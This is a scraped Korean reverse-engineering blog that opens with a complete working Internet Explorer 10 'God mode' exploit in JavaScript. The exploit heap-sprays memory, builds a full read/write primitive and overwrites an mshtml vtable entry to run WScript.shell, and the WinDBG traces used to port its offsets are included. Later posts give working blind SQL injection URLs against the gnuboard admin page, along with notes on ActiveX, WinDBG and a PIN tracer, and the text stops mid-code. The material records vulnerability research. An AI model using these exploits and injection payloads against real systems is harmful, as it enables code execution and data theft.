            vftptr2 = int32array[0x60 * 2 / 4],
            vftptr3 = int32array[0x60 * 3 / 4],
            nextPtr1 = int32array[(0x60 + 0x24) / 4],
            nextPtr2 = int32array[(0x60 * 2 + 0x24) / 4],
            nextPtr3 = int32array[(0x60 * 3 + 0x24) / 4];
        if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 || nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
            window.location.reload();
            return;
        }
        // Int32Array address
        buf_addr = nextPtr1 - 0x60 * 2;

        // validate int32array addr
        //   0x0c0af01c => buf_addr
        //   0x0c0af01c => buf_addr + offset
        //   offset = 0x0c0af01c - buf addr
        if (int32array[(0x0c0af01c - buf_addr) / 4] != buf_addr) {
            window.location.reload();
            return;
        }

        /* before
            0:021> dd 0x0c0af000
            0c0af000  6ded3b60 05439760 00000000 00000003
            0c0af010  00000004 00000000 20000016 0205fc30 
        */
        //int32array[(0x0c0af018 - buf_addr) / 4] = 0x20000000; // new length
        int32array[(0x0c0af01c - buf_addr) / 4] = 0; // new buffer address, full memory access!!
        /* after
            0:027> dd 0x0c0af000
            0c0af000  6ded3b60 054398a0 00000000 00000003
            0c0af010  00000004 00000000 20000000 00000000
        */

        function read(address) {
            var k = address & 3;
            if (k == 0) {  // address % 4 == 0
                return int32array[address / 4];
            } else {
                return (int32array[(address - k) / 4] >> k * 8) |
                    (int32array[(address - k + 4) / 4] << (32 - k * 8));
            }
        }

        function write(address, value) {
            var k = address & 3;
            if (k == 0) {  // address % 4 == 0
                int32array[address / 4] = value;
            } else {
                var low = int32array[(address - k) / 4];
                var high = int32array[(address - k + 4) / 4];
                var mask = (1 << k * 8) - 1; // 0xff or 0xffff or 0xffffff
                low = (low & mask) | (value << k * 8);
                high = (high & (0xffffffff - mask)) | (value >> (32 - k * 8));
                int32array[(address - k) / 4] = low;
                int32array[(address - k + 4) / 4] = high;
            }
        }

        // God mode !!

        // jscript9.dll base address = int32array vftable - offset
        jscript9 = read(0x0c0af000) - 0x3b60;
        //alert("jscript9.dll base address\n0x"+jscript9.toString(16));
        for (i = 0x200; i < 0x200 + 0x400; ++i)
            a[i][0x3bf7] = 0;

        // 0x0c0af000-4 => find last array addr
        //==================================
        //         array [0~~~ 0x3bf7]
        //    0x0c0af000 [int32array]
        write(0x0c0af000 - 4, 3);

        leakArray = 0;
        for (i = 0x200; i < 0x200 + 0x400; ++i) {
            if (a[i][0x3bf7] != 0) {
                leakArray = a[i];
                break;
            }
        }
        if (leakArray == 0) {
            alert("Can't find leakArray!");
            window.location.reload();
            return;
        }

        function get_addr(obj) {
            // leakarray[0x3bf7] == 0x0c0af000-4
            leakArray[0x3bf7] = obj;
            return read(0x0c0af000 - 4);
        }

        // div elements first 4 bytes => jscript9!Projection::ArrayObjectInstance::`vftable'
        // div elements +0x10 bytes   => MSHTML!CBaseTypeOperations::CBaseFinalizer
        var addr = get_addr(document.createElement("div"));
        // MSHTML!CBaseTypeOperations::CBaseFinalizer Vtable = mshtml + 0x58b9a
        mshtml = read(addr + 0x10) - 0x58b9a;
        //var old = read(mshtml + 0xc555e0 + 0x14); 
        write(mshtml + 0xc555e0 + 0x14, jscript9 + 0xdc164); // God mode on
        shell = new ActiveXObject("WScript.shell");
        shell.Exec('calc.exe');
        //write(mshtml + 0xc555e0 + 0x14, old); // God mode off
        //alert("All done!");
    })();
</script>
</head>

<body>
</body>

</html>


거의 99% 신뢰도로 Exploit 성공한다. 중간중간 확인 후 memory layout 이 맞지 않으면 reload 해주기 때문이다.


자세한 설명은 고급과정에서 자세히!



# IE 10  Exploit (using God mode)


activex object 중 아래 소스에 포함된 wscript.shell 과 같이 권한이 너무 강력해서 취약한 object 는 


보안 정책에 의해 default 로 사용이 불가하다. 허용으로 바꿔준다 하더라도 경고창에서 직접 승인을 눌러줘야만 한다.


=====================================

<html>

<head>

<script language="javascript">

  shell = new ActiveXObject("WScript.shell");

  shell.Exec('calc.exe');

</script>

</head>

<body>

</body>

</html>

=====================================



하지만, 아래와 같은 단계로 우회가 가능하다.


1) 먼저, 특정 주소의 값을 바꿀 수 있는 상태여야 한다.


  ex1)  js array length modify


  ex2) flash vector length modify


    => 보통 1 byte 변조로 객체 length 변조 후, 변조된 객체로 2차 다른 객체의 길이를 0x3fffffff 등으로 바꿔서 전체 프로세스 메모리 접근 권한을 획득함

      => cve-2014-0322(snowman) 참고(값 1 증가 uaf)


2) jscript9!ScriptEngine::CanObjectRun 함수 내부의 객체(s_apfnPlainTearoff) 의 vtable 을 조작하여 CanObjectRun 함수 결과값을 항상 true 로 조작


3) 자바스크립트로  calc 마음대로 실행 가능(Godmode on)



이러한 방법으로 임의코드 실행을 하는 것을 godmode 를 이용한 Exploit 이라 부른다. VBScript 에서도 된다고 함.





====== 디버깅 과정 ======



1) 허용하시겠습니까? alert 창 상태에서 BP 걸고 콜스택을 통해 호출 함수 확인 



0:007> x user32!create*


브뽀 걸리면 


0:012> kb 10

 # ChildEBP RetAddr  Args to Child              

00 047aacf4 71003ccf 00000000 66e6bc38 047aadcc user32!CreateWindowExW

01 047aad34 66e4697a 00000000 66e6bc38 047aadcc IEShims!NS_HangResistanceInternal::APIHook_CreateWindowExW+0x64

02 047aad74 66dd213d 00000000 66e6bc38 047aadcc IEFRAME!SHFusionCreateWindowEx+0x47

03 047aaed0 66dd1f39 047aaf24 00000fa6 047aaf68 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0x3c1

04 047aaf1c 66dd1e23 00000000 047aaf48 047aaf68 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0xea

05 047aaf3c 7101a148 001005bc 047aaf68 047aaf54 IEFRAME!TabWindowExports::AcquireModalDialogLockAndParent+0x1b

06 047aaf58 76cc5742 76c30000 00000fa6 001005bc IEShims!NS_UISuppression::APIHook_DialogBoxParamW+0x31

07 047ab788 76ceba1c 001005bc 00000fa6 76cc3058 urlmon!CSecurityManager::DisplayMessage+0x40

08 047abb2c 76c70f7b 0cb6835c 00001204 047abbdc urlmon!memset+0x11504

09 047abb70 65ff5a0b 05b9bc78 0cb6835c 00001204 urlmon!CSecurityManager::ProcessUrlActionEx2+0x15f

0a 047abbe4 65ff5b07 00001204 047abc54 00000000 MSHTML!CMarkup::ProcessURLAction2+0x31d

0b 047abc14 66b35f88 00001204 047abc54 00000000 MSHTML!CMarkup::ProcessURLAction+0x3e

0c 047abca0 660c2e27 00000001 65f36348 0d32a9a4 MSHTML!memcpy+0xff91b

0d 047abce4 6e85bb25 0b4da290 6e85bb60 047abd1c MSHTML!CDocument::HostQueryCustomPolicy+0x148

0e 047abd5c 6e85b79c 0d32a9a4 00000002 01d13120 jscript9!ScriptEngine::CanObjectRun+0x78

0f 047abda8 6e85b5cf 00000000 047abdd4 5bda28d7 jscript9!ScriptSite::CreateObjectFromProgID+0xdf



 jscript9!ScriptEngine::CanObjectRun+0x78 이 부분을 통해 실행 여부가 결정됨.


또한, 해당 함수는 CreateObjectFromProgID 내부에서 호출됨.







2) 함수 분석



# CreateObjectFromProgID 분석


0:012> uf jscript9!ScriptSite::CreateObjectFromProgID


jscript9!ScriptSite::CreateObjectFromProgID:

6e85b6b9 8bff            mov     edi,edi

6e85b6bb 55              push    ebp

                ...(중략)...

6e85b78c 8b4ddc          mov     ecx,dword ptr [ebp-24h]

6e85b78f ff33            push    dword ptr [ebx]

6e85b791 8b4904          mov     ecx,dword ptr [ecx+4]

6e85b794 8d55ec          lea     edx,[ebp-14h]

6e85b797 e811030000      call    jscript9!ScriptEngine::CanObjectRun (6e85baad)   // CanObjectRun 결과에 따라서 실행여부 결정

6e85b79c 85c0            test    eax,eax                      

6e85b79e 0f844c7c0800    je      jscript9!ScriptSite::CreateObjectFromProgID+0xfd (6e8e33f0)  Branch



포인트는 CanObjectRun 결과값 (EAX) 이 0 만 아니면 참이 되어 곧바로 실행 된다는 것!!(godmode)!



이를 위해 CanObjectRun 을 분석하여 0이 아닌 값을 리턴하도록 조작해줘야 한다. 내부에서 사용되는 객체 하나의 VTable 을 조작한다.



# CanObjectRun 분석


0:006> uf jscript9!ScriptEngine::CanObjectRun

jscript9!ScriptEngine::CanObjectRun:

6e85baad 8bff            mov     edi,edi

6e85baaf 55              push    ebp

6e85bab0 8bec            mov     ebp,esp

6e85bab2 83ec48          sub     esp,48h

               ...(중략)...

6e85bb12 52              push    edx

6e85bb13 8d55c0          lea     edx,[ebp-40h]

6e85bb16 52              push    edx

6e85bb17 6860bb856e      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (6e85bb60)

6e85bb1c 895de4          mov     dword ptr [ebp-1Ch],ebx

6e85bb1f 8b08            mov     ecx,dword ptr [eax]

6e85bb21 50              push    eax

6e85bb22 ff5114          call    dword ptr [ecx+14h]         // 이 호출을 조작하기 위해 VTable 을 덮어씀 

 

                                                 => 이 호출 직전 eax 는 0이 아니므로, 이 상태로 call 명령과 동시에 함수가 바로 종료되도록 에필로그로 덮어씀


=> VTable 은 항상 일정한 Offset 이고, 취약점으로 메모리 읽기/쓰기가 가능하므로 조작 가능



# 조작할 오프셋 구하기


009> bp  jscript9!ScriptEngine::CanObjectRun+0x75

009> g


jscript9!ScriptEngine::CanObjectRun+0x75:

6e85bb22 ff5114          call    dword ptr [ecx+14h]  ds:0023:66b67884={MSHTML!TearoffThunk5 (6601e30e)}



0:012> ln @ecx      //   현재 호출된 객체 심볼 확인


Exact matches:

    MSHTML!s_apfnPlainTearoffVtable = <no type information>




0:012> dds ecx     //  VTable 확인  

66b67870  65f3dd56 MSHTML!PlainQueryInterface

66b67874  65f3d69d MSHTML!CAPProcessor::AddRef

66b67878  65f3d6b5 MSHTML!PlainRelease

66b6787c  65f3c1d2 MSHTML!TearoffThunk3

66b67880  6601b017 MSHTML!TearoffThunk4

66b67884  6601e30e MSHTML!TearoffThunk5

66b67888  6601f130 MSHTML!TearoffThunk6

66b6788c  6637e99d MSHTML!TearoffThunk7



원래 호출되는 주소는 VTable 에서 0x14 떨어진 6번째 함수임(MSHTML!TearoffThunk5). 이 주소를 에필로그 주소로 덮어씀






# 덮어써야할 주소 =>  VTable Offset 계산


0:012> ? MSHTML!s_apfnPlainTearoffVtable-mshtml

Evaluate expression: 13006960 = 00c67870



# 덮어쓸 주소 => 에필로그 Offset 계산


0:012> ? 6e85bb5c  - jscript9

Evaluate expression: 899932 = 000dbb5c



# mshtml base addr 구하기  =>  div element 생성하면 + 0x10 에 MSHTML!CBaseTypeOperations::CBaseFinalizer 주소가 있음.


0:023> ? MSHTML!CBaseTypeOperations::CBaseFinalizer - mshtml

Evaluate expression: 249949 = 0003d05d



이제 전체 코드를 실행하고 alert 창이 뜨면 TypedArray<int> 객체의 length 를 변조해 준다.


힙스프레이를 통해 항상 0x0c0af000 에 위치한다.



0:023> dd 0x0c0af000

0c0af000  68d238c8 057e98a0 00000000 00000003

0c0af010  00000004 00000000 00000016 0225baa0

0c0af020  05da2e20 00000000 00000000 00000000

0c0af030  68d238c8 057e98a0 00000000 00000003

0c0af040  00000004 00000000 00000016 0225baa0

0c0af050  05da2e20 00000000 00000000 00000000

0c0af060  68d238c8 057e98a0 00000000 00000003

0c0af070  00000004 00000000 00000016 0225baa0



0:020> ed 0x0c0af018 0x20000000



0:023> dd 0x0c0af000

0c0af000  68d238c8 057e98a0 00000000 00000003

0c0af010  00000004 00000000 20000000 0225baa0

0c0af020  05da2e20 00000000 00000000 00000000

0c0af030  68d238c8 057e98a0 00000000 00000003

0c0af040  00000004 00000000 00000016 0225baa0

0c0af050  05da2e20 00000000 00000000 00000000

0c0af060  68d238c8 057e98a0 00000000 00000003

0c0af070  00000004 00000000 00000016 0225baa0



정상적으로 calc 가 실행된다.



<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x200; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr   =>  jscript9!Js::TypedArray<int>
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20"); 
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...
 
    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    //jscript9 = read(0x0c0af000) - 0x3b60; 원본 
    jscript9 = read(0x0c0af000) - 0x38c8; // by hyunmini
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    //mshtml = read(addr + 0x10) - 0x58b9a;  원본 
    mshtml = read(addr + 0x10) - 0x3d05d; // by hyunmini
 
    // We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where:
    //   * mshtml+0xc555e0 is the address of the vftable we want to modify;
    //   * jscript9+0xdc164 points to the code "leave / ret 4".
    // As a result, jscript9!ScriptEngine::CanObjectRun returns true.
 
    //var old = read(mshtml+0xc555e0+0x14);   // 원본 
    var old = read(mshtml+0xc67870+0x14);   // by hyunmini
    //write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on! 원본 
    write(mshtml+0xc67870+0x14, jscript9+0xdbb5c);      // God mode on! by hyunmini
    
    shell = new ActiveXObject("WScript.shell");
    shell.Exec('calc.exe');
 
    write(mshtml+0xc67870+0x14, old);      // God mode off! by hyunmini
    
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>




WinDBG 고급 명령어들

2017.06.07 10:16


WinDBG 고급 분석을 위한 명령어들 간단 정리




# 설정 미리 해놓기(배치파일)

- windbg.bat

"C:\Program Files\Windows Kits\10\Debuggers\x86\windbg.exe" -c".symfix+;.load c:\\blwdbgue.dll;g" "c:\program files\internet explorer\iexplore.exe"




# syntax color highlight

- blwdbgue 다운로드 및 .load 로 로드




# 심볼 설정 쉽게 하기

0:009> .symfix+



# 심볼 확인


0:009> x jscript9!JS::JavascriptArray::*

6548df1c          jscript9!Js::JavascriptArray::IsEnumerable (<no parameter info>)

6534cdfb          jscript9!Js::JavascriptArray::GetFromIndex (<no parameter info>)

6548fa51          jscript9!Js::JavascriptArray::BigIndex::BigIndex (<no parameter info>)

6548deb2          jscript9!Js::JavascriptArray::SetEnumerable (<no parameter info>)

653ba673          jscript9!Js::JavascriptArray::EntrySome (<no parameter info>)

65327b86          jscript9!Js::JavascriptArray::HasItem (<no parameter info>)

652a2f78          jscript9!Js::JavascriptArray::`vftable' = <no type information>

6548f898          jscript9!Js::JavascriptArray::BigIndex::SetItem (<no parameter info>)

6548dff8          jscript9!Js::JavascriptArray::IsDirectAccessArray (<no parameter info>)

6534be75          jscript9!Js::JavascriptArray::Sort (<no parameter info>)

65531508          jscript9!Js::JavascriptArray::EntryInfo::Map = <no type information>

653a6b3e          jscript9!Js::JavascriptArray::EntryIsArray (<no parameter info>)


0:009> x jscript9!JS::JavascriptArray::Get*

0:009> x jscript9!JS::JavascriptArray::Set*





# 하드웨어 bp (access)

- ba w4 0x1f1f0000




# 주소 정보 출력

- 0:009> x jscript9!JS::JavascriptArray::*




# 힙 정보 확인(page heap, stack trace 설정해야 자세히 보임)

- !heap -p -a 0x254a0a12




# 로드된 모듈 정보 출력


0:009> lm

start    end        module name

013a0000 0145c000   iexplore   (deferred)             

04780000 048ac000   Cooxie     (deferred)             

05a80000 05a9e000   iToolsBHO   (deferred)             

63b90000 63d53000   d3d9       (deferred)             

63ec0000 65297000   Flash32_25_0_0_171   (deferred)             

652a0000 65562000   jscript9   (pdb symbols)          C:\Program Files\Windows Kits\10\Debuggers\x86\sym\jscript9.pdb\6E55E6B5AC4B4699BFCF4B58510435202\jscript9.pdb

65570000 656a6000   DWrite     (deferred)             

656b0000 659f7000   d2d1       (deferred)             

65f00000 66cbd000   MSHTML     (pdb symbols)          C:\Program Files\Windows Kits\10\Debuggers\x86\sym\mshtml.pdb\98191859560C471FB6BA0B1D33DAACCB2\mshtml.pdb

66cc0000 679e9000   IEFRAME    (pdb symbols)          C:\Program Files\Window






'Reversing' 카테고리의 다른 글

암호학 정리(for CTF)  (0) 2018.04.05
WinDBG 고급 명령어들  (0) 2017.06.07
DBI - pin & pintool  (3) 2017.05.22
DBI - Frida 를 이용한 DBI  (2) 2016.09.07
Embedded 기기 리버싱 - 펌웨어 리버싱  (1) 2016.07.14
Windbg 기본 - (3) 분석시 유용한 명령어들  (2) 2016.03.01



예전에 activex 취약점을 몇개 찾아서 계산기 실행 poc 작성하며 공부했던 것들을 겸사겸사 정리해 둔다.



일단 보호기법들이 꽤 많은데...


기본적인 Stack Cookie, SafeSEH, SEHOP, DEP/ASLR 외에도 IE 10 이상부터 적용된(또는 2014 년도 보안 패치 이후부터)  


Isolated Heap, Memory Protector(delayed free), VTable Guard, force ASLR 등이 있다.


결론적으로 무조건 다 100% 우회됩니다 라는 건 없지만 info leak 취약점 1개를 추가로 이용하면 대부분은 우회가 가능했다.


이용한 infoleak poc 가  Isolated Heap, Delayed Free 를 우회한 것이라서 stackpivoting -> dynamci rop -> 쉘코드 실행 만으로 공격에 성공했다.


아래 그림은 영문 버전이지만 한글 버전에서도 vtable offset 만 조절해주면 공격이 잘 되는 것을 확인했다.




# 간단 정리


1) crash 발견


2) eip 컨트롤


3) 쉘코드 작성


4) dynamic rop + shellcode 힙스프레이 코드 작성


5) stack pivoting (esp => 쉘코드) 가젯 확인


6) 전체 exploit 코드 작성

    infoleak -> heapspray -> stackpivot -> rop -> shellcode ~!!









끝. 자세한 설명은 나중에 고급강좌에서!


작년 해당 취약점을 발견 후 제보를 했고 패치도 금방 되었다. 이미 1년이 넘게 지났으니 이제 공개해도 될것 같아 공개한다.


사실 관리자 페이지에서 발생하는 취약점이기 때문에 활용도가 크지는 않다.


sst 변수에서 입력값 검증을 하지 않아 발생하는 취약점이며, order by 구문에 삽입이 가능하여 이를 이용한 blindSQL 인젝션이 가능하다.




거짓, po_rel_id 로 정렬 : /gnuboard/adm/point_list.php?&sst=case/**/when/**/1^1/**/then/**/po_point/**/else/**/po_rel_id/**/end&sod=desc&sfl=mb_id


참, po_point 로 정렬 : /gnuboard/adm/point_list.php?&sst=case/**/when/**/1^0/**/then/**/po_point/**/else/**/po_rel_id/**/end&sod=desc&sfl=mb_id




블라인드 인젝션이 가능하지만 몇가지 제약사항이 있었다. 


- 띄어쓰기 안됨 => /**/ 로 해결


- 서브쿼리 안됨 => case when 문으로 해결


- ' 안됨 -> 0x41 아스키 구문으로 해결


 ex)  mb_id like 0x%s and mb_password



아래처럼 공격해서 값을 알아낼 수 있다.


http://172.30.1.34/gnuboard/adm/point_list.php?&sst=case/**/when/**/po_content/**/like/**/0x25[아스키값]/**/then/**/po_point/**/else/**/po_rel_id/**/end&sod=desc&sfl=mb_id






  1. 처리짱 2018.06.05 17:26 신고

    이런 좋은 내용을 몰랐다면 보안에 취약 할뻔 봤습니다 너무 잘봤습니다. 혹 파이썬 스크립트 소스 설명도 있엇으면 좋겠어요!
    카톡: pack9338 입니다.

  2. 2018.06.05 17:30

    비밀댓글입니다

activex 메소드 확인하는 법


당연히 progid 또는 clsid 는 알고 있어야 한다. 일반적으로 웹 소스 상에서 바로 보는 것은 clsid



1) com/ole viewer 로 확인



2) com raider 로 확인(사실 이제 가장 깔끔한듯. 매뉴얼 퍼징 용도로는..)



3) 프로그래밍


- c 언어로 하면 쉽게 할  수 있으나, python 을 좋아하므로...powershell 을 이용해서 python 으로 하는법(?)



# powershell #


PS C:\Users\hyunmini> $clsid = New-Object Guid 'DC2D84BD-498D-48B1-808C-60236E7FE0C8'

PS C:\Users\hyunmini> $type = [Type]::GetTypeFromCLSID($clsid)

PS C:\Users\hyunmini> $object = [Activator]::CreateInstance($type)

PS C:\Users\hyunmini> $object | get-member



   TypeName: System.__ComObject#{684c87de-557e-4a17-aea5-036ff1eeca95}


Name                MemberType            Definition

----                ----------            ----------

AddFile             Method                void AddFile (string, string)

AddTempFile         Method                void AddTempFile (string, uint, st...

AppendDragDrop      Method                void AppendDragDrop (Variant, string)

AppendFilter        Method                void AppendFilter (Variant, Variant)

AppendPostData      Method                void AppendPostData (Variant, Vari...

ClearDragDrop       Method                void ClearDragDrop ()

ClearFilter         Method                void ClearFilter ()

ClearPostData       Method                void ClearPostData () 

                                ...



# python (-_-;;)


p = subprocess.Popen(

[

"powershell.exe", 

"-command",

"&{ $clsid = New-Object Guid '%s';$type = [Type]::GetTypeFromCLSID($clsid);$object= [Activator]::CreateInstance($type);get-member -inputObject $object; }" % clsid

], stdout=subprocess.PIPE)

p_result, err = p.communicate()

DBI - pin & pintool

2017.05.22 23:54



 PIN 에 대해서 공부한지는 조금 되었으나 적당히 기존 코드로만 붙여넣기 해서 사용했던 것이 사실이다. 최근 개인 프로젝트로 PIN 을 사용할 일이 생겨서 하는 김에 정리해 둔다.





PIN


 PIN 이란, Intel 에서 제작 및 관리중인 Dynamic Binary Instrumentation Framework 이다. BI 분야에서 실행을 하지 않고 조사하는 SBI 와 동적으로 실행중 코드를 조사하는 DBI 가 있는데, 그 중 PIN 은  DBI 를 위한 SDK(?) 정도로 볼 수 있다. 


Intel 이란 기업에서 관리하기 때문에 상당히 업데이트가 잘 되고 있으며 매뉴얼도 매우 충실하게 잘 되어 있다. 또한 수많은 예제코드가 들어 있어서 몇개의 코드만 분석해 보면 바로 사용방법을 알 수 있을 정도로 완성도가 높다. 


한가지 단점은 C++ 로 작성해서 DLL 로 컴파일 해야 하므로 스크립트 언어에 비해 수정&적용이 조금 오래 걸린다는 점이 있다. 하지만 이러한 단점은 장점에 비해 크지 않으므로 수년전부터 현재까지도 PIN 은 매우 인기 있는 DBI 프레임워크로 자리잡았다. 


PIN 은 그 자체로 pin.exe 로 독립된 바이너리이며, 실행 파일을 에뮬레이션 해준다. 에뮬레이션 하는 동안 PINTOOL 로 작성한 DLL 코드를 통해 다양하게 동적으로 코드를 수행할 수 있다.


 


PINTOOL


PINTOOL 은 PIN SDK 를 이용하여 개발한 라이브러리이다. pin.exe 실행 시 옵션으로(-t) 지정해주면 해당 PINTOOL 을 이용하여 타겟 바이너리를 실행시켜 준다.



Build PINTOOL


 다운로드 및 설치는 검색하면 많으니 타 자료를 참고바란다. 여러가지 방법이 있지만 개인적으로는 cygwin + make 가 편한 듯 하다. visual studio 로도 가능하지만 컴파일 프로그램 특성상 소스코드 수정, 컴파일 및 실행, 빌드된 파일 이동, 실행 등을 자주 해야 해서 차라리 make 로 배치 파일을 만드는 것이 편하다.


# make.bat

cd C:\Users\hyunmini\Desktop\pin-3.2-81205-msvc-windows\source\tools\MyPinTool

make 

copy /y obj-ia32\MyPinTool.dll c:\Users\FSI\Desktop\dbi\pin

cd c:\Users\hyunmini\Desktop\dbi\pin


 





Simple Example 1 - call tracer


#include "pin.H"
#include <asm/unistd.h>
#include <iostream>
#include <fstream>
#include <list>

UINT32 insCount = 0;    
UINT32 bblCount = 0;    
UINT32 threadCount = 0; 
UINT32 traceCount = 0;

std::ostream * out = &cerr;

KNOB<string> KnobTraceString(KNOB_MODE_WRITEONCE,  "pintool",
    "s", "", "trace string");

INT32 Usage()
{
    cerr << "This tool prints out the traced call with arguments." << endl;
    cerr << KNOB_BASE::StringKnobSummary() << endl;
    return -1;
}

string invalid = "invalid_rtn";

const string *Target2String(ADDRINT target) {
    string name = RTN_FindNameByAddress(target);
    if (name == "") {
        return &invalid;
    } else if (name == ".text" || name == "unnamedImageEntryPoint") {
        return new string(StringFromAddrint(target));
    }
    else
        return new string(name);
}

string ReadCString(ADDRINT target){
    ADDRINT Buffer;
    PIN_SafeCopy(&Buffer, (ADDRINT *)(target), sizeof(ADDRINT));
    string cstring;
    while (1) {
        char c = 0;
        if (PIN_SafeCopy(&c, (ADDRINT *) Buffer, 1) != 1)
            break;
        if (c == 0)
            break;
        cstring += c;
        Buffer += 1;
    }
    return cstring;
}

VOID  do_call_args(ADDRINT ins,const string *s, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) {
    PIN_LockClient();
    string img_name = IMG_Name(IMG_FindByAddress(ins));
    PIN_UnlockClient();
    string base_img_name = img_name.substr(img_name.find_last_of("/\\") + 1);
    string argstr1 = ReadCString(esp);
    string argstr2 = ReadCString(esp+4);
    string argstr3 = ReadCString(esp+8);
    if( 
        argstr1.find(KnobTraceString.Value()) != string::npos || 
        argstr2.find(KnobTraceString.Value()) != string::npos || 
